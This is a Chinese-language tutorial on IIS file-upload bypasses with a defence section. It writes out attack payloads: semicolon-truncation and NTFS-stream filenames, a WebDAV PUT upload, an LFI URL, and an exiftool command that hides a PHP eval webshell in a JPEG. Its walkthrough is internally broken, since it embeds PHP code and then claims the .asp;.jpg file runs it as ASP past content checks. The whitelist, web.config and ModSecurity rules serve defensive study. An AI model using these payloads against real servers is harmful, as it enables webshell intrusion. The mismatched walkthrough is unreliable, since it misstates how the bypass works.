IIS文件上传漏洞绕过:深入解析与高效防御
目录
一、IIS解析漏洞的底层逻辑
二、绕过技巧:从基础到高级
1. 分号截断与路径拼接(经典手法)
2. 目录解析漏洞利用
3. 操作系统特性与字符混淆
4. 扩展名黑名单绕过
5. 结合其他漏洞的链式攻击
三、防御方案:从代码到架构的多层防护
1. 代码层加固
2. 服务器配置优化
3. 网络层防护
4. 监控与应急响应
四、实战复现:分阶段绕过防御
五、总结与思考
一、IIS解析漏洞的底层逻辑
IIS(Internet Information Services)作为Windows Server的默认Web服务器,其历史版本(如IIS 6.0)因文件解析逻辑缺陷成为攻击者的重点目标。以下漏洞原理需重点关注:
-
分号截断漏洞
- 触发条件:当文件名包含分号(
;
)时,IIS 6.0会将分号前的部分作为真实扩展名解析,例如:shell.asp;.jpg → 解析为ASP脚本
- 底层逻辑:IIS的解析模块(asp.dll)在处理请求时,会以分号作为分隔符截断文件名,仅保留前半部分。
- 触发条件:当文件名包含分号(
-
目录解析漏洞
- 关键路径:若目录名以
.asp
、.asa
等可执行后缀命名(如/upload.asp/
),则该目录下的所有文件(包括静态文件)均会被IIS视为动态脚本执行。 - 扩展风险:攻击者可通过创建恶意目录(如
/images/evil.asp/
)将普通图片转为木马载体。
- 关键路径:若目录名以
-
文件内容与扩展名解耦
- IIS在某些配置下会忽略文件内容,仅依赖扩展名决定解析方式。攻击者可上传伪装为图片的WebShell,绕过内容校验。
二、绕过技巧:从基础到高级
1. 分号截断与路径拼接(经典手法)
- Payload构造:
filename="shell.asp;.jpg" 访问路径:/uploads/shell.asp;.jpg → 执行ASP代码
- 实战要点:
- 使用Burp Suite拦截上传请求,修改
filename
字段,添加分号截断。 - 若服务器过滤分号,可尝试
shell.asp:.jpg
(利用NTFS文件流特性)。
- 使用Burp Suite拦截上传请求,修改
2. 目录解析漏洞利用
- 攻击流程:
- 创建目录
/upload.asp/
(需服务器允许目录创建)。 - 上传文件至该目录,如
/upload.asp/1.jpg
,访问时触发ASP解析。
- 创建目录
- 绕过限制:若无法创建目录,可尝试上传路径包含
.asp
的URL,如:POST /upload.asp HTTP/1.1 # 直接上传至伪装的ASP路径
3. 操作系统特性与字符混淆
- 空格/点号截断:
shell.asp. # Windows自动去除末尾点 → 保存为shell.asp shell.asp # 上传时添加空格 → shell.asp
- Unicode编码绕过:
shell.asp%80.jpg # 利用畸形Unicode字符干扰校验
4. 扩展名黑名单绕过
- 冷门扩展名:
.asa
、.cer
、.cdx
(IIS默认允许执行)。 - 大小写混淆:
Shell.PhP
、BACKDOOR.aSpX
(针对校验逻辑不严谨的系统)。
5. 结合其他漏洞的链式攻击
- 文件包含+上传绕过:
- 上传包含PHP代码的
1.txt
。 - 利用本地文件包含(LFI)漏洞执行:
http://target.com/index.php?file=./uploads/1.txt
- 上传包含PHP代码的
- HTTP PUT方法利用:
若服务器开启WebDAV且配置不当,可直接通过PUT方法上传脚本文件:PUT /uploads/shell.asp HTTP/1.1
三、防御方案:从代码到架构的多层防护
1. 代码层加固
- 白名单校验:仅允许
jpg
、png
等静态后缀,禁止动态脚本后缀(如asp/php/jsp)。 - 文件重命名:使用哈希值或时间戳重命名文件,避免保留用户输入的文件名。
- 内容检测:通过文件头(Magic Bytes)验证文件真实性,例如检测JPEG文件的
FF D8 FF
标识。
2. 服务器配置优化
- 处理程序映射(IIS管理工具):
移除对.asp
、.php
等脚本文件的映射,或限制仅特定目录可执行脚本。 - URL重写规则(web.config示例):
<rule name="Block Dangerous Requests"><match url=".*\.(asp|php|asa)(;|%24|%00)" /><action type="AbortRequest" /> </rule>
- 关闭危险功能:禁用WebDAV、NTFS文件流支持,限制HTTP PUT方法。
3. 网络层防护
- WAF规则:拦截包含分号、%00、畸形路径的请求。
# 示例ModSecurity规则 SecRule REQUEST_FILENAME "@contains ;" "deny,log,status:403"
- 文件存储隔离:将上传目录设为不可执行,并使用独立域名(如
static.example.com
)。
4. 监控与应急响应
- 日志审计:监控上传目录的文件变更,重点关注
.asp
、.php
等敏感操作。 - 自动化扫描:定期使用工具(如Nessus、Xray)检测服务器解析漏洞。
四、实战复现:分阶段绕过防御
目标环境:IIS 6.0 + ASP黑名单校验 + 内容检测
绕过步骤:
- 生成免杀WebShell:
使用图片马工具(如ExifTool
)将ASP代码插入JPEG文件的注释区:exiftool -Comment="<?php @eval($_POST['cmd']); ?>" shell.jpg
- 分号截断绕过扩展名校验:
修改上传包文件名:shell.asp;.jpg
- 触发解析:
访问http://target.com/uploads/shell.asp;.jpg
,绕过内容检测,执行ASP代码。
五、总结与思考
IIS文件上传漏洞的核心在于解析逻辑与校验逻辑的脱节。防御需从以下角度入手:
- 纵深防御:结合代码校验、服务器配置、网络监控形成多层防护。
- 漏洞演化:随着IIS版本升级,新漏洞(如IIS 7.0的FastCGI解析问题)需持续关注。
- 红蓝对抗:定期模拟攻击测试(如上传绕过、路径遍历),验证防御体系有效性。